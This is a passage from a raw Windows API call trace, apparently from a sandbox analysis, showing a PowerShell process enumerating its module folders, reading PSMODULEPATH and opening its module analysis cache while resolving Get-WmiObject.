ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0241.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be814) returned 1 [0241.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be820) returned 1 [0241.345] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0241.345] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0241.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be7f8) returned 1 [0241.345] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windowsapps"), fInfoLevelId=0x0, lpFileInformation=0x87be874 | out: lpFileInformation=0x87be874*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be7f4) returned 1 [0241.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be874) returned 1 [0241.345] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0241.345] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0241.346] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Get-WmiObject.*", lpFindFileData=0x87be59c | out: lpFindFileData=0x87be59c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0241.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be814) returned 1 [0241.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be820) returned 1 [0241.349] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x87be724, nSize=0xbc | out: lpBuffer="") returned 0xc3 [0241.349] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x87be714, nSize=0xc3 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0xc2 [0241.356] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0241.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be8a4) returned 1 [0241.361] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0241.361] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0241.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x87be5cc | out: lpFindFileData=0x87be5cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x78858d8 [0241.363] FindNextFileW (in: hFindFile=0x78858d8, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.364] FindNextFileW (in: hFindFile=0x78858d8, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0241.364] FindNextFileW (in: hFindFile=0x78858d8, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0241.365] FindNextFileW (in: hFindFile=0x78858d8, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester", cAlternateFileName="")) returned 1 [0241.365] FindNextFileW (in: hFindFile=0x78858d8, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0241.365] FindNextFileW (in: hFindFile=0x78858d8, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0241.365] FindNextFileW (in: hFindFile=0x78858d8, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0241.365] FindClose (in: hFindFile=0x78858d8 | out: hFindFile=0x78858d8) returned 1 [0241.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be860) returned 1 [0241.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be86c) returned 1 [0241.367] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0241.368] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0241.368] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0241.368] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0241.368] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0241.369] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0241.369] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0241.369] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0241.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0241.369] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0241.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0241.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0241.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0241.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0241.471] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0241.471] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0241.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0241.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester" (normalized: "c:\\program files\\windowspowershell\\modules\\pester"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0241.473] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0241.473] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0241.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0241.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0241.474] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0241.474] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0241.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0241.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0241.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be8a4) returned 1 [0241.475] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0241.475] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0241.475] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x87be5cc | out: lpFindFileData=0x87be5cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7885158 [0241.476] FindNextFileW (in: hFindFile=0x7885158, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.476] FindNextFileW (in: hFindFile=0x7885158, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0241.476] FindNextFileW (in: hFindFile=0x7885158, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0241.476] FindClose (in: hFindFile=0x7885158 | out: hFindFile=0x7885158) returned 1 [0241.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be860) returned 1 [0241.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be86c) returned 1 [0241.477] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0241.477] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0241.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be838) returned 1 [0241.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x87be8b4 | out: lpFileInformation=0x87be8b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0241.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be834) returned 1 [0241.481] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0241.481] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0241.482] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0241.482] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0241.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be85c) returned 1 [0241.482] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x53b8a44 | out: lpFileInformation=0x53b8a44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0241.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be858) returned 1 [0241.484] GetEnvironmentVariableW (in: lpName="PSModuleAnalysisCachePath", lpBuffer=0x87bd8c8, nSize=0xc3 | out: lpBuffer="㽈Ģ䷨؉?ࡻ狊၀溕က溕က溕᝖狣᡼鷁က溕溠\x01耀㽈Ģ㽈Ģैݡ?ࡻ獔濁\x02") returned 0x0 [0241.485] CoTaskMemAlloc (cb=0x20c) returned 0x12526d0 [0241.485] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x12526d0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x0 [0241.485] CoTaskMemFree (pv=0x12526d0) [0241.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1e [0241.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x1e, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0241.485] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x20 [0241.487] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0241.487] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x4f, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x4e [0241.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be068) returned 1 [0241.487] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0241.487] GetFileType (hFile=0x778) returned 0x1 [0241.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be064) returned 1 [0241.488] GetFileType (hFile=0x778) returned 0x1 [0241.488] ReadFile (in: hFile=0x778, lpBuffer=0x53b9c74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x87be0dc, lpOverlapped=0x0 | out: lpBuffer=0x53b9c74*, lpNumberOfBytesRead=0x87be0dc*=0x1000, lpOverlapped=0x0) returned 